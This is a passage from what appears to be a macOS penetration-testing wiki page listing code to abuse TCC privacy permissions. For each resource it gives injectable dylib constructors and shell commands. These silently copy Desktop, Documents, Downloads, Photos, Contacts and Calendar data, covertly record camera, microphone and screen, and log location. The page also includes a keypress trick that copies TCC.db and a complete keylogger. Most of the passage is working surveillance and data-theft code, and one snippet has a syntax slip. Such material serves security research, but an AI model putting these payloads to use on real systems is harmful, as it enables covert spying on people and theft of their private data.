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Desktop
- Entitlement: None
- TCC: kTCCServiceSystemPolicyDesktopFolder
{% tabs %}
{% tab title="ObjetiveC" %}
Copy $HOME/Desktop to /tmp/desktop.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Desktop"];
NSString *tmpPhotosPath = @"/tmp/desktop";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
{% endtab %}
{% tab title="Shell" %}
Copy $HOME/Desktop to /tmp/desktop.
cp -r "$HOME/Desktop" "/tmp/desktop"
{% endtab %} {% endtabs %}
Documents
- Entitlement: None
- TCC:
kTCCServiceSystemPolicyDocumentsFolder
{% tabs %}
{% tab title="ObjetiveC" %}
Copy $HOME/Documents to /tmp/documents.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Documents"];
NSString *tmpPhotosPath = @"/tmp/documents";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
{% endtab %}
{% tab title="Shell" %}
Copy $HOME/Documents to /tmp/documents.
cp -r "$HOME/Documents" "/tmp/documents"
{% endtab %} {% endtabs %}
Downloads
- Entitlement: None
- TCC:
kTCCServiceSystemPolicyDownloadsFolder
{% tabs %}
{% tab title="ObjetiveC" %}
Copy $HOME/Downloads to /tmp/downloads.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Downloads"];
NSString *tmpPhotosPath = @"/tmp/downloads";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
{% endtab %}
{% tab title="Shell" %}
Copy $HOME/Dowloads to /tmp/downloads.
cp -r "$HOME/Downloads" "/tmp/downloads"
{% endtab %} {% endtabs %}
Photos Library
- Entitlement:
com.apple.security.personal-information.photos-library - TCC:
kTCCServicePhotos
{% tabs %}
{% tab title="ObjetiveC" %}
Copy $HOME/Pictures/Photos Library.photoslibrary to /tmp/photos.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Pictures/Photos Library.photoslibrary"];
NSString *tmpPhotosPath = @"/tmp/photos";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
{% endtab %}
{% tab title="Shell" %}
Copy $HOME/Pictures/Photos Library.photoslibrary to /tmp/photos.
cp -r "$HOME/Pictures/Photos Library.photoslibrary" "/tmp/photos"
{% endtab %} {% endtabs %}
Contacts
- Entitlement:
com.apple.security.personal-information.addressbook - TCC:
kTCCServiceAddressBook
{% tabs %}
{% tab title="ObjetiveC" %}
Copy $HOME/Library/Application Support/AddressBook to /tmp/contacts.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Application Support/AddressBook"];
NSString *tmpPhotosPath = @"/tmp/contacts";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
{% endtab %}
{% tab title="Shell" %}
Copy $HOME/Library/Application Support/AddressBook to /tmp/contacts.
cp -r "$HOME/Library/Application Support/AddressBook" "/tmp/contacts"
{% endtab %} {% endtabs %}
Calendar
- Entitlement:
com.apple.security.personal-information.calendars - TCC:
kTCCServiceCalendar
{% tabs %}
{% tab title="ObjectiveC" %}
Copy $HOME/Library/Calendars to /tmp/calendars.
#include <syslog.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#import <Foundation/Foundation.h>
// gcc -dynamiclib -framework Foundation -o /tmp/inject.dylib /tmp/inject.m
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSFileManager *fileManager = [NSFileManager defaultManager];
NSError *error = nil;
// Get the path to the user's Pictures folder
NSString *picturesPath = [NSHomeDirectory() stringByAppendingPathComponent:@"Library/Calendars/"];
NSString *tmpPhotosPath = @"/tmp/calendars";
// Copy the contents recursively
if (![fileManager copyItemAtPath:picturesPath toPath:tmpPhotosPath error:&error]) {
NSLog(@"Error copying items: %@", error);
}
NSLog(@"Copy completed successfully.", error);
fclose(stderr); // Close the file stream
}
{% endtab %}
{% tab title="Shell" %}
Copy $HOME/Library/Calendars to /tmp/calendars.
cp -r "$HOME/Library/Calendars" "/tmp/calendars"
{% endtab %} {% endtabs %}
Camera
- Entitlement:
com.apple.security.device.camera - TCC:
kTCCServiceCamera
{% tabs %}
{% tab title="ObjetiveC - Record" %}
Record a 3s video and save it in /tmp/recording.mov
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from: https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
@interface VideoRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *videoDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *movieFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation VideoRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *videoDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeVideo];
NSError *error;
self.videoDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:videoDevice error:&error];
if (error) {
NSLog(@"Error setting up video device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.videoDeviceInput]) {
[self.captureSession addInput:self.videoDeviceInput];
}
self.movieFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.movieFileOutput]) {
[self.captureSession addOutput:self.movieFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = @"/tmp/recording.mov";
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.movieFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.movieFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
VideoRecorder *videoRecorder = [[VideoRecorder alloc] init];
[videoRecorder startRecording];
[NSThread sleepForTimeInterval:3.0];
[videoRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:3.0]];
fclose(stderr); // Close the file stream
}
{% endtab %}
{% tab title="ObjectiveC - Check" %} Check if the program has access to the camera.
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
// gcc -framework Foundation -framework AVFoundation -dynamiclib CamTest.m -o CamTest.dylib
// Code from https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
@interface CameraAccessChecker : NSObject
+ (BOOL)hasCameraAccess;
@end
@implementation CameraAccessChecker
+ (BOOL)hasCameraAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeVideo];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to camera granted.");
return YES;
} else {
NSLog(@"[-] Access to camera denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
[CameraAccessChecker hasCameraAccess];
fclose(stderr); // Close the file stream
}
{% endtab %}
{% tab title="Shell" %} Take a photo with the camera
ffmpeg -framerate 30 -f avfoundation -i "0" -frames:v 1 /tmp/capture.jpg
{% endtab %} {% endtabs %}
Microphone
- Entitlement: com.apple.security.device.audio-input
- TCC:
kTCCServiceMicrophone
{% tabs %}
{% tab title="ObjetiveC - Record" %}
Record 5s of audio an store it in /tmp/recording.m4a
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
// Code from https://www.vicarius.io/vsociety/posts/cve-2023-26818-exploit-macos-tcc-bypass-w-telegram-part-1-2
// gcc -dynamiclib -framework Foundation -framework AVFoundation Micexploit.m -o Micexploit.dylib
@interface AudioRecorder : NSObject <AVCaptureFileOutputRecordingDelegate>
@property (strong, nonatomic) AVCaptureSession *captureSession;
@property (strong, nonatomic) AVCaptureDeviceInput *audioDeviceInput;
@property (strong, nonatomic) AVCaptureMovieFileOutput *audioFileOutput;
- (void)startRecording;
- (void)stopRecording;
@end
@implementation AudioRecorder
- (instancetype)init {
self = [super init];
if (self) {
[self setupCaptureSession];
}
return self;
}
- (void)setupCaptureSession {
self.captureSession = [[AVCaptureSession alloc] init];
self.captureSession.sessionPreset = AVCaptureSessionPresetHigh;
AVCaptureDevice *audioDevice = [AVCaptureDevice defaultDeviceWithMediaType:AVMediaTypeAudio];
NSError *error;
self.audioDeviceInput = [[AVCaptureDeviceInput alloc] initWithDevice:audioDevice error:&error];
if (error) {
NSLog(@"Error setting up audio device input: %@", [error localizedDescription]);
return;
}
if ([self.captureSession canAddInput:self.audioDeviceInput]) {
[self.captureSession addInput:self.audioDeviceInput];
}
self.audioFileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([self.captureSession canAddOutput:self.audioFileOutput]) {
[self.captureSession addOutput:self.audioFileOutput];
}
}
- (void)startRecording {
[self.captureSession startRunning];
NSString *outputFilePath = [NSTemporaryDirectory() stringByAppendingPathComponent:@"recording.m4a"];
NSURL *outputFileURL = [NSURL fileURLWithPath:outputFilePath];
[self.audioFileOutput startRecordingToOutputFileURL:outputFileURL recordingDelegate:self];
NSLog(@"Recording started");
}
- (void)stopRecording {
[self.audioFileOutput stopRecording];
[self.captureSession stopRunning];
NSLog(@"Recording stopped");
}
#pragma mark - AVCaptureFileOutputRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)captureOutput
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray<AVCaptureConnection *> *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording failed: %@", [error localizedDescription]);
} else {
NSLog(@"Recording finished successfully. Saved to %@", outputFileURL.path);
}
NSLog(@"Saved to %@", outputFileURL.path);
}
@end
__attribute__((constructor))
static void myconstructor(int argc, const char **argv) {
freopen("/tmp/logs.txt", "a", stderr);
AudioRecorder *audioRecorder = [[AudioRecorder alloc] init];
[audioRecorder startRecording];
[NSThread sleepForTimeInterval:5.0];
[audioRecorder stopRecording];
[[NSRunLoop currentRunLoop] runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
fclose(stderr); // Close the file stream
}
{% endtab %}
{% tab title="ObjectiveC - Check" %} Check if the app has access to the mricrophone.
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
// From https://vsociety.medium.com/cve-2023-26818-macos-tcc-bypass-with-telegram-using-dylib-injection-part1-768b34efd8c4
// gcc -framework Foundation -framework AVFoundation -dynamiclib MicTest.m -o MicTest.dylib
@interface MicrophoneAccessChecker : NSObject
+ (BOOL)hasMicrophoneAccess;
@end
@implementation MicrophoneAccessChecker
+ (BOOL)hasMicrophoneAccess {
AVAuthorizationStatus status = [AVCaptureDevice authorizationStatusForMediaType:AVMediaTypeAudio];
if (status == AVAuthorizationStatusAuthorized) {
NSLog(@"[+] Access to microphone granted.");
return YES;
} else {
NSLog(@"[-] Access to microphone denied.");
return NO;
}
}
@end
__attribute__((constructor))
static void telegram(int argc, const char **argv) {
[MicrophoneAccessChecker hasMicrophoneAccess];
}
{% endtab %}
{% tab title="Shell" %}
Record a 5s audio and store it in /tmp/recording.wav
# Check the microphones
ffmpeg -f avfoundation -list_devices true -i ""
# Use microphone from index 1 from the previous list to record
ffmpeg -f avfoundation -i ":1" -t 5 /tmp/recording.wav
{% endtab %} {% endtabs %}
Location
{% hint style="success" %} For an app to get the location, Location Services (from Privacy & Security) must be enabled, if not it won't be able to access it. {% endhint %}
- Entitlement:
com.apple.security.personal-information.location - TCC: Granted in
/var/db/locationd/clients.plist
{% tabs %}
{% tab title="ObjectiveC" %}
Write the location in /tmp/logs.txt
#include <syslog.h>
#include <stdio.h>
#import <Foundation/Foundation.h>
#import <CoreLocation/CoreLocation.h>
@interface LocationManagerDelegate : NSObject <CLLocationManagerDelegate>
@end
@implementation LocationManagerDelegate
- (void)locationManager:(CLLocationManager *)manager didUpdateLocations:(NSArray<CLLocation *> *)locations {
CLLocation *location = [locations lastObject];
NSLog(@"Current location: %@", location);
exit(0); // Exit the program after receiving the first location update
}
- (void)locationManager:(CLLocationManager *)manager didFailWithError:(NSError *)error {
NSLog(@"Error getting location: %@", error);
exit(1); // Exit the program on error
}
@end
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
{
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
NSLog(@"Getting location");
CLLocationManager *locationManager = [[CLLocationManager alloc] init];
LocationManagerDelegate *delegate = [[LocationManagerDelegate alloc] init];
locationManager.delegate = delegate;
[locationManager requestWhenInUseAuthorization]; // or use requestAlwaysAuthorization
[locationManager startUpdatingLocation];
NSRunLoop *runLoop = [NSRunLoop currentRunLoop];
while (true) {
[runLoop runUntilDate:[NSDate dateWithTimeIntervalSinceNow:1.0]];
}
NSLog(@"Location completed successfully.");
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}
{% endtab %}
{% tab title="Shell" %} Get access to the location
???
{% endtab %} {% endtabs %}
Screen Recording
- Entitlement: None
- TCC:
kTCCServiceScreenCapture
{% tabs %}
{% tab title="ObjectiveC" %}
Record the main screen for 5s in /tmp/screen.mov
#import <Foundation/Foundation.h>
#import <AVFoundation/AVFoundation.h>
// clang -framework Foundation -framework AVFoundation -framework CoreVideo -framework CoreMedia -framework CoreGraphics -o ScreenCapture ScreenCapture.m
@interface MyRecordingDelegate : NSObject <AVCaptureFileOutputRecordingDelegate>
@end
@implementation MyRecordingDelegate
- (void)captureOutput:(AVCaptureFileOutput *)output
didFinishRecordingToOutputFileAtURL:(NSURL *)outputFileURL
fromConnections:(NSArray *)connections
error:(NSError *)error {
if (error) {
NSLog(@"Recording error: %@", error);
} else {
NSLog(@"Recording finished successfully.");
}
exit(0);
}
@end
__attribute__((constructor))
void myconstructor(int argc, const char **argv)
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
AVCaptureSession *captureSession = [[AVCaptureSession alloc] init];
AVCaptureScreenInput *screenInput = [[AVCaptureScreenInput alloc] initWithDisplayID:CGMainDisplayID()];
if ([captureSession canAddInput:screenInput]) {
[captureSession addInput:screenInput];
}
AVCaptureMovieFileOutput *fileOutput = [[AVCaptureMovieFileOutput alloc] init];
if ([captureSession canAddOutput:fileOutput]) {
[captureSession addOutput:fileOutput];
}
[captureSession startRunning];
MyRecordingDelegate *delegate = [[MyRecordingDelegate alloc] init];
[fileOutput startRecordingToOutputFileURL:[NSURL fileURLWithPath:@"/tmp/screen.mov"] recordingDelegate:delegate];
// Run the loop for 5 seconds to capture
dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(5 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{
[fileOutput stopRecording];
});
CFRunLoopRun();
freopen("/tmp/logs.txt", "w", stderr); // Redirect stderr to /tmp/logs.txt
}
{% endtab %}
{% tab title="Shell" %} Record the main screen for 5s
screencapture -V 5 /tmp/screen.mov
{% endtab %} {% endtabs %}
Accessibility
- Entitlement: None
- TCC:
kTCCServiceAccessibility
Use the TCC privilege to accept the control of Finder pressing enter and bypass TCC that way
{% tabs %} {% tab title="Accept TCC" %}
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <OSAKit/OSAKit.h>
// clang -framework Foundation -framework ApplicationServices -framework OSAKit -o ParallelScript ParallelScript.m
// TODO: Improve to monitor the foreground app and press enter when TCC appears
void SimulateKeyPress(CGKeyCode keyCode) {
CGEventRef keyDownEvent = CGEventCreateKeyboardEvent(NULL, keyCode, true);
CGEventRef keyUpEvent = CGEventCreateKeyboardEvent(NULL, keyCode, false);
CGEventPost(kCGHIDEventTap, keyDownEvent);
CGEventPost(kCGHIDEventTap, keyUpEvent);
if (keyDownEvent) CFRelease(keyDownEvent);
if (keyUpEvent) CFRelease(keyUpEvent);
}
void RunAppleScript() {
NSLog(@"Starting AppleScript");
NSString *scriptSource = @"tell application \"Finder\"\n"
"set sourceFile to POSIX file \"/Library/Application Support/com.apple.TCC/TCC.db\" as alias\n"
"set targetFolder to POSIX file \"/tmp\" as alias\n"
"duplicate file sourceFile to targetFolder with replacing\n"
"end tell\n";
NSDictionary *errorDict = nil;
NSAppleScript *appleScript = [[NSAppleScript alloc] initWithSource:scriptSource];
[appleScript executeAndReturnError:&errorDict];
if (errorDict) {
NSLog(@"AppleScript Error: %@", errorDict);
}
}
int main() {
@autoreleasepool {
dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT, 0), ^{
RunAppleScript();
});
// Simulate pressing the Enter key every 0.1 seconds
NSLog(@"Starting key presses");
for (int i = 0; i < 10; ++i) {
SimulateKeyPress((CGKeyCode)36); // Key code for Enter
usleep(100000); // 0.1 seconds
}
}
return 0;
}
{% endtab %}
{% tab title="Keylogger" %}
Store the pressed keys in /tmp/keystrokes.txt
#import <Foundation/Foundation.h>
#import <ApplicationServices/ApplicationServices.h>
#import <Carbon/Carbon.h>
// clang -framework Foundation -framework ApplicationServices -framework Carbon -o KeyboardMonitor KeyboardMonitor.m
NSString *const kKeystrokesLogPath = @"/tmp/keystrokes.txt";
void AppendStringToFile(NSString *str, NSString *filePath) {
NSFileHandle *fileHandle = [NSFileHandle fileHandleForWritingAtPath:filePath];
if (fileHandle) {
[fileHandle seekToEndOfFile];
[fileHandle writeData:[str dataUsingEncoding:NSUTF8StringEncoding]];
[fileHandle closeFile];
} else {
// If the file does not exist, create it
[str writeToFile:filePath atomically:YES encoding:NSUTF8StringEncoding error:nil];
}
}
CGEventRef KeyboardEventCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) {
if (type == kCGEventKeyDown) {
CGKeyCode keyCode = (CGKeyCode)CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode);
NSString *keyString = nil;
// First, handle special non-printable keys
switch (keyCode) {
case kVK_Return: keyString = @"<Return>"; break;
case kVK_Tab: keyString = @"<Tab>"; break;
case kVK_Space: keyString = @"<Space>"; break;
case kVK_Delete: keyString = @"<Delete>"; break;
case kVK_Escape: keyString = @"<Escape>"; break;
case kVK_Command: keyString = @"<Command>"; break;
case kVK_Shift: keyString = @"<Shift>"; break;
case kVK_CapsLock: keyString = @"<CapsLock>"; break;
case kVK_Option: keyString = @"<Option>"; break;
case kVK_Control: keyString = @"<Control>"; break;
case kVK_RightControl: keyString = @"<Control>"; break;
case kVK_RightShift: keyString = @"<Shift>"; break;
case kVK_RightOption: keyString = @"<Option>"; break;
case kVK_Function: keyString = @"<Function>"; break;
case kVK_F1: keyString = @"<F1>"; break;
case kVK_F2: keyString = @"<F2>"; break;
case kVK_F3: keyString = @"<F3>"; break;
// Add more cases here for other non-printable keys...
default: break; // Not a special non-printable key
}
// If it's not a special key, try to translate it
if (!keyString) {
UniCharCount maxStringLength = 4;
UniCharCount actualStringLength = 0;
UniChar unicodeString[maxStringLength];
TISInputSourceRef currentKeyboard = TISCopyCurrentKeyboardInputSource();
CFDataRef layoutData = TISGetInputSourceProperty(currentKeyboard, kTISPropertyUnicodeKeyLayoutData);
const UCKeyboardLayout *keyboardLayout = (const UCKeyboardLayout *)CFDataGetBytePtr(layoutData);
UInt32 deadKeyState = 0;
OSStatus status = UCKeyTranslate(keyboardLayout,
keyCode,
kUCKeyActionDown,
0,
LMGetKbdType(),
kUCKeyTranslateNoDeadKeysBit,
&deadKeyState,
maxStringLength,
&actualStringLength,
unicodeString);
CFRelease(currentKeyboard);
if (status == noErr && actualStringLength > 0) {
keyString = [NSString stringWithCharacters:unicodeString length:actualStringLength];
} else {
keyString = [NSString stringWithFormat:@"<KeyCode: %d>", keyCode];
}
}
NSString *logString = [NSString stringWithFormat:@"%@\n", keyString];
AppendStringToFile(logString, kKeystrokesLogPath);
}
return event;
}
int main() {
@autoreleasepool {
CGEventMask eventMask = CGEventMaskBit(kCGEventKeyDown);
CFMachPortRef eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, KeyboardEventCallback, NULL);
if (!eventTap) {
NSLog(@"Failed to create event tap");
exit(1);
}
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, eventTap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(eventTap, true);
CFRunLoopRun();
}
return 0;
}
{% endtab %} {% endtabs %}
{% hint style="danger" %} Accessibility is a very powerful permission, you could abuse it in other ways, for example you could perform the keystrokes attack just from it without needed to call System Events. {% endhint %}
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